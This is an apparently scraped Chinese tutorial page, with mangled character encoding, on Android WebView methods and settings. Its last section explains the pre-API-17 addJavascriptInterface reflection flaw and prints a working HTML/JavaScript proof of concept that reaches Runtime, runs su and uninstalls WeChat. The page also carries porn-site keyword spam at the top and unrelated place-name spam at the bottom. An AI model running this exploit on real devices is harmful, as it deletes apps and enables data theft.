最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Android應(yīng)用開(kāi)發(fā)中WebView的常用方法筆記整理

 更新時(shí)間:2016年05月17日 18:41:38   作者:風(fēng)荷舉  
WebView即是在安卓本地應(yīng)用中打開(kāi)網(wǎng)頁(yè)視圖功能,其中對(duì)于JavaScript加載的各項(xiàng)操作是重點(diǎn)和難點(diǎn),本文就為大家送上Android應(yīng)用開(kāi)發(fā)中WebView的常用方法筆記整理

基本使用
使用WebView通常是需要網(wǎng)絡(luò)的,所以需要加上訪問(wèn)網(wǎng)絡(luò)的權(quán)限

<uses-permission android:name="android.permission.INTERNET" />

1.加載某個(gè)url的方法

WebView.loadUrl("http://www.baidu.com");

需要注意的是不要省略前面的http://,省略的話,某些ROM中的WebView會(huì)加載失敗
2.加載assets中的HTML

WebView.loadUrl("file:///android_asset/xxx.html")

3.加載一段javascript

WebView.loadUrl("javascript:" + ${js_code})

4.為js提供本地方法
如下,提供一個(gè)showToast的方法給javascript

private static class JavaJs {
  private Context context;
  JavaJs(Context context) {
    this.context = context;
  }
  @JavascriptInterface
  public void showToast(String str) {
    Toast.makeText(context, str, Toast.LENGTH_LONG).show();
  }
}
webView.addJavascriptInterface(new JavaJs(this), "JavaJs");


<script type="text/javascript">
  JavaJs.showToast("toast from js");
</script>

注意:

  • 提供給javascript的方法必需是public的,否則js無(wú)法訪問(wèn)
  • 提供給javascript的方法將會(huì)在WebView管理的線程中執(zhí)行,因此要保證該方法的線程安全性.(Toast是支持在非UI線程中show()的,所以上面的showToast方法是沒(méi)問(wèn)題的)
  • 提供給javascript的方法一定要加上 @JavascriptInterface
  • 在Android 4.2,Api 17之前,javascript可以通過(guò)反射java對(duì)象,來(lái)執(zhí)行一些危險(xiǎn)操作.比如反射取到Runtime,然后執(zhí)行shell命令
  • 雖然@JavascriptInterface是在Api 17加上的,但是Api 17之前,我們依然建議將提供給javascript的方法加上該annotation.(JSR-175規(guī)定,運(yùn)行時(shí)annotation缺失,則直接忽略,而不會(huì)拋出ClassNotFoundException)
  • 針對(duì)Android 4.2以前的設(shè)備,我們建議不要通過(guò)addJavascriptInterface向javascript提供方法,并且通過(guò)removeJavascriptInterface("searchBoxJavaBridge_")來(lái)移除WebView自己添加的java對(duì)象.

5.頁(yè)面跳轉(zhuǎn)

webView.setWebViewClient(new WebViewClient() {

  @Override
  public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if (Uri.parse(url).getHost().equals("www.xxx.com")) {
      // 自己的頁(yè)面,直接使用WebView加載
      return false;
    }
    // 別的公司的頁(yè)面,使用瀏覽器打開(kāi)
    Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
    startActivity(intent);
    return true;
  }
});

6.訪問(wèn)歷史回退

@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
  if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) {
    webView.goBack();
    return true;
  }
  return super.onKeyDown(keyCode, event);
}

7.在Logcat中輸出javascript的日志信息
重寫(xiě)WebChromeClient中的onConsoleMessage方法

@Override
public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
  Log.d("WebView", consoleMessage.message() + " js line: " + consoleMessage.lineNumber());
  return true;
}

8.支持javascript的警告框 alert
重寫(xiě)WebChromeClient中的onJsAlert方法

@Override
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
  new AlertDialog.Builder(MainActivity.this)
      .setTitle("JsAlert")
      .setMessage(message)
      .setPositiveButton("OK", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.confirm();
        }
      })
      .setCancelable(false)
      .show();
  return true;
}

9.支持javascript的確認(rèn)框 confirm
重寫(xiě)WebChromeClient中的onJsConfirm方法

@Override
public boolean onJsConfirm(WebView view, String url, String message, final JsResult result) {
  new AlertDialog.Builder(MainActivity.this)
      .setTitle("JsConfirm")
      .setMessage(message)
      .setPositiveButton("OK", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.confirm();
        }
      })
      .setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.cancel();
        }
      })
      .setCancelable(false)
      .show();
  return true;
}

10.支持javascript提問(wèn)框 prompt
重寫(xiě)WebChromeClient中的onJsPrompt方法

@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) {
  final EditText et = new EditText(MainActivity.this);
  et.setText(defaultValue);
  new AlertDialog.Builder(MainActivity.this)
      .setTitle(message)
      .setView(et)
      .setPositiveButton("OK", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.confirm(et.getText().toString());
        }
      })
      .setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.cancel();
        }
      })
      .setCancelable(false)
      .show();
  return true;
}

11.顯示空白頁(yè)

WebView.loadUrl("about:blank");
//該方法使得WebView只會(huì)繪制一個(gè)白色背景,并且釋放之前加載頁(yè)面時(shí)使用的資源,并停止之前javascript的執(zhí)行

12.清除返回棧 WebView.clearHistory
13.獲得訪問(wèn)歷史列表 WebView.copyBackForwardList
14.下載 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume

pauseTimers, onPause 停止解析,javascript執(zhí)行等操作.區(qū)別是 onPause 只作用于調(diào)用它的WebView,而 pauseTimers 作用于當(dāng)前應(yīng)用中所有的WebView
resumeTimers, onResume 恢復(fù)解析,javascript執(zhí)行等操作.區(qū)別是 onResume 只作用于調(diào)用它的WebView,而 resumeTimers 作用于當(dāng)前應(yīng)用中所有的WebView

常用設(shè)置
1.安全相關(guān)(去掉不必要的JavaBridge)

//這個(gè)Java Bridge是WebView自己添加的
//在Api 17以前,javascript可以通過(guò)java對(duì)象進(jìn)行反射,執(zhí)行一些不安全的操作
webView.removeJavascriptInterface("searchBoxJavaBridge_");

2.js相關(guān)

//設(shè)置支持javascript,默認(rèn)是false
WebSettings.setJavaScriptEnabled(true);

3.縮放相關(guān)

//使WebView支持通過(guò)手勢(shì)或者縮放控制器來(lái)縮放頁(yè)面,默認(rèn)是true
//該設(shè)置不影響 WebView.zoomIn()和WebView.zoomOut()
WebSettings.setSupportZoom(true);

//設(shè)置使用默認(rèn)的縮放控制器,默認(rèn)是false
WebSettings.setBuiltInZoomControls(true);

//不顯示默認(rèn)的+/-縮放控制View, 默認(rèn)是true
WebSettings.setDisplayZoomControls(false);
加載圖片策略相關(guān)

//設(shè)置是否自動(dòng)加載圖片,默認(rèn)是`true`,如果設(shè)置為`false`,那么所有圖片都不會(huì)被加載,包括本地圖片.
WebSettings.setLoadsImagesAutomatically(true);

//設(shè)置是否阻止加載網(wǎng)絡(luò)圖片,默認(rèn)是`false`,如果設(shè)置為`true`,那么網(wǎng)絡(luò)圖片將不會(huì)加載.(可以先設(shè)置為true,然后再設(shè)置為false,來(lái)加快頁(yè)面加載速度)
WebSettings.setBlockNetworkImage(false);

//設(shè)置是否阻止加載網(wǎng)絡(luò)資源(不僅僅是圖片),默認(rèn)是`false`,如果設(shè)置為`true`,那么網(wǎng)絡(luò)上的js,css,圖片等資源都不會(huì)加載
WebSettings.setBlockNetworkLoads(false);

4.渲染相關(guān)

//設(shè)置渲染線程的優(yōu)先級(jí)
//該方法在 Api 18之后被廢棄,優(yōu)先級(jí)由WebView自己管理
//不過(guò)任然建議將其設(shè)置為 HIGH,來(lái)提高頁(yè)面渲染速度
WebSettings.setRenderPriority(RenderPriority.HIGH);
Viewport相關(guān)

//設(shè)置使用 寬 的Viewpoint,默認(rèn)是false
//Android browser以及chrome for Android的設(shè)置是`true`
//而WebView的默認(rèn)設(shè)置是`false`
//如果設(shè)置為`true`,那么網(wǎng)頁(yè)的可用寬度為`980px`,并且可以通過(guò) meta data來(lái)設(shè)置
//如果設(shè)置為`false`,那么可用區(qū)域和WebView的顯示區(qū)域有關(guān).
WebSettings.setUseWideViewPort(true);

//如果webview內(nèi)容寬度大于顯示區(qū)域的寬度,那么將內(nèi)容縮小,以適應(yīng)顯示區(qū)域的寬度, 默認(rèn)是false
WebView.setLoadWithOverviewMode(true);
<!--如果WebSettings.getUseWideViewPort 是true, 那么可以通過(guò)meta來(lái)設(shè)置 Viewport -->
<!--例如將其可用寬度設(shè)置為 480px, 并且禁用縮放功能-->
<head>
  <meta name="viewport" content="width=480, user-scalable=no" />
</head>

<!--如果WebSettings.getUseWideViewPort 是false, 那么 不能 通過(guò)meta來(lái)設(shè)置-->

其效果類(lèi)似于:

<meta name="viewport" content="width=device-width"/>

注意: 這里的px和通常說(shuō)的像素不同,他和dp的概念非常類(lèi)似. 參見(jiàn) Mozilla

前端存儲(chǔ)相關(guān)設(shè)置(方便前端工程師在客戶端存儲(chǔ)數(shù)據(jù))

//支持H5的 application cache 的功能
WebSettings.setAppCacheEnabled(true);
//設(shè)置 application cache 的存儲(chǔ)路徑(通常存儲(chǔ)js,css,圖片等)
WebSetting.setAppCachePath("xxx");

//支持 H5 的session storage和local storage
WebSettings.setDomStorageEnabled(true);

//支持javascript讀,寫(xiě)db
WebSettings.setDatabaseEnabled(true);
//設(shè)置js創(chuàng)建的db文件的路徑, Api 19以后廢棄,直接有webview管理
WebSettings.setDatabasePath("xxx");

5.緩存相關(guān)設(shè)置

//設(shè)置加載資源時(shí),如何使用cache
//默認(rèn)設(shè)置是:WebSettings.LOAD_DEFAULT
//當(dāng)WebView正常加載一個(gè)頁(yè)面時(shí),如果緩存命中且沒(méi)有過(guò)期,則使用緩存數(shù)據(jù),否則從網(wǎng)絡(luò)加載,當(dāng)WebView.goBack()時(shí),如果緩存命中,直接使用,不會(huì)驗(yàn)證是否過(guò)期
//可用的其他設(shè)置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLY
WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);

6.cookie相關(guān)

public static void synCookies(Context context, String url) {
  CookieManager cookieManager = CookieManager.getInstance();
  cookieManager.setAcceptCookie(true);//默認(rèn)就是true 
  cookieManager.setCookie(url, cookies);
  if(Build.VERSION.SDK_INT < 21) {
    CookieSyncManager.createInstance(context).sync();
  } else {
    cookieManager.flush();
  }
}


addJavascriptInterface的安全問(wèn)題
1.為javascript提供native接口的途徑

Android WebView 提供一個(gè)addJavascriptInterface方法來(lái)為javascript創(chuàng)建一個(gè)JavaBridge.
例如給js提供一個(gè)showToast的方法:

private static class JavaJs {
  private Context context;
  JavaJs(Context context) {
    this.context = context;
  }
  @JavascriptInterface
  public void showToast(String str) {
    Toast.makeText(context, str, Toast.LENGTH_LONG).show();
  }
}
webView.addJavascriptInterface(new JavaJs(this), "JavaJs");


<script type="text/javascript">
  JavaJs.showToast("toast from js");
</script>

2.安全問(wèn)題

Api 17之前,在WebView為javascript提供了java對(duì)象之后, 可以利用javascript代碼調(diào)用java的反射Api,進(jìn)行一些hack操作,導(dǎo)致安全性問(wèn)題.(<font color=red>注意: </font>低版本的WebView會(huì)自己添加一個(gè)searchBoxJavaBridge_對(duì)象,通常我們需要自己移除)
Api 17之后,WebView會(huì)禁止javascript調(diào)用沒(méi)有添加@JavascriptInterface方法,從而避免上述問(wèn)題.(<font color=red>注意: </font>推薦大家始終添加@JavascriptInterface,而不用關(guān)心Api版本,因?yàn)閍nnotation缺失并不會(huì)導(dǎo)致ClassNotFoundException,而僅僅是被jvm忽略)
安全問(wèn)題示例 (通過(guò)javascript卸載微信)

通過(guò)反射可以干很多事情,比如類(lèi)似于 UserInfo 這樣的對(duì)象,如果他是單例的話,那么很容易可以取到用戶的 用戶名,郵箱,手機(jī)號(hào) 等信息.
此處展示一個(gè)簡(jiǎn)單的頁(yè)面,當(dāng)通過(guò)WebView打開(kāi)這個(gè)HTML,手機(jī)上的微信就會(huì)被卸載(當(dāng)然前提是該app擁有root權(quán)限).

<html>
  <head>
    <script>
      function toByteArray(str) {
        var ch, stack, result = [];
        for(var i = 0; i < str.length; ++i) {
          ch = str.charCodeAt(i);
          stack = [];
          do {
            stack.push(ch & 0xFF);
            ch = ch >> 8;
          } while(ch);

          result = result.concat(stack.reverse());
        }
        return result;
      }

      function execCmd(outputStream) {
        var cmd = "adb shell pm uninstall com.tencent.mm";
        outputStream.write(toByteArray(cmd));
        outputStream.close();
      }

      function toString(inputStream) {
        var result = "";
        var c;
        while((c = inputStream.read()) != -1) {
          var s = String.fromCharCode(c);
          result += s;
        }
        return result;
      }

      function hack() {
        for(var obj in window) {
          if("getClass" in window[obj]) {
            console.log(obj);
            var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null);

            var p = runtime.exec(["su"]);

            execCmd(p.getOutputStream());
            alert(toString(p.getInputStream()));
            break;
          }
        }
      }

      hack();
    </script>
  </head>

<body>
  卸載微信 :)
</body>
</html>

相關(guān)文章

  • Android仿微信頂/底部菜單欄效果

    Android仿微信頂/底部菜單欄效果

    這篇文章主要介紹了Android仿微信底部菜單欄和頂部菜單欄實(shí)現(xiàn)效果,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2015-12-12
  • Android實(shí)現(xiàn)新浪微博一鍵分享的實(shí)例代碼

    Android實(shí)現(xiàn)新浪微博一鍵分享的實(shí)例代碼

    這篇文章主要介紹了Android實(shí)現(xiàn)新浪微博一鍵分享的實(shí)例代碼,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2017-07-07
  • Android中View跟隨手指移動(dòng)效果

    Android中View跟隨手指移動(dòng)效果

    這篇文章主要介紹了Android中View跟隨手指移動(dòng)效果,代碼簡(jiǎn)單易懂,非常不錯(cuò),需要的朋友參考下
    2017-01-01
  • Android?WebView軟鍵盤(pán)遮擋輸入框方案詳解

    Android?WebView軟鍵盤(pán)遮擋輸入框方案詳解

    這篇文章主要介紹了Android?WebView軟鍵盤(pán)遮擋輸入框方案詳解,本文提供了一種新的解決?WebView?輸入框被軟鍵盤(pán)遮擋的思路,不過(guò)這種思路也有它的局限性,目前來(lái)看僅適用于全屏的?WebView?中,需要的朋友可以參考下
    2022-06-06
  • Android生成帶圓角的Bitmap圖片

    Android生成帶圓角的Bitmap圖片

    這篇文章主要介紹了Android生成帶圓角的Bitmap圖片,涉及Android通過(guò)Canvas實(shí)現(xiàn)繪制帶圓角的圖片相關(guān)技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下
    2015-07-07
  • Android開(kāi)發(fā)中獲取View視圖寬與高的常用方法小結(jié)

    Android開(kāi)發(fā)中獲取View視圖寬與高的常用方法小結(jié)

    這篇文章主要介紹了Android開(kāi)發(fā)中獲取View視圖寬與高的常用方法,結(jié)合實(shí)例形式總結(jié)分析了Android獲取View視圖寬與高的三種常用方法及使用場(chǎng)景,需要的朋友可以參考下
    2017-10-10
  • Android支付寶和微信支付集成

    Android支付寶和微信支付集成

    這篇文章主要為大家詳細(xì)介紹了Android支付寶和微信支付集成的相關(guān)資料,需要的朋友可以參考下
    2016-07-07
  • Android仿探探卡片式滑動(dòng)效果實(shí)現(xiàn)

    Android仿探探卡片式滑動(dòng)效果實(shí)現(xiàn)

    之前在玩探探看著效果圖還可以,然后又在網(wǎng)上看到了一相關(guān)的介紹,便想著自己動(dòng)手來(lái)實(shí)踐下,所以下面這篇文章主要介紹了關(guān)于Android實(shí)現(xiàn)仿探探卡片式左右滑動(dòng)效果的相關(guān)資料,需要的朋友可以參考借鑒,下面來(lái)一起看看吧。
    2017-03-03
  • Android利用軟引用和弱引用避免OOM的方法

    Android利用軟引用和弱引用避免OOM的方法

    Java從JDK1.2版本開(kāi)始,就把對(duì)象的引用分為四種級(jí)別,從而使程序能更加靈活的控制對(duì)象的生命周期。這四種級(jí)別由高到低依次為:強(qiáng)引用、軟引用、弱引用和虛引用。本文給大家介紹Android利用軟引用和弱引用避免OOM,需要的朋友一起學(xué)習(xí)吧
    2016-04-04
  • Android中NestedScrolling滑動(dòng)機(jī)制詳解

    Android中NestedScrolling滑動(dòng)機(jī)制詳解

    本篇文章主要介紹了Android中NestedScrolling滑動(dòng)機(jī)制詳解,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。
    2017-02-02

最新評(píng)論

瑞昌市| 仁怀市| 从化市| 青海省| 牡丹江市| 福州市| 南乐县| 永新县| 五原县| 平利县| 莫力| 陆良县| 邹平县| 印江| 云霄县| 滕州市| 麟游县| 唐海县| 巫山县| 油尖旺区| 德兴市| 平安县| 喀喇沁旗| 旬阳县| 玉溪市| 明星| 海伦市| 资溪县| 潜江市| 莲花县| 安溪县| 南阳市| 阳东县| 广昌县| 虹口区| 左权县| 南皮县| 思茅市| 文登市| 浮山县| 红河县|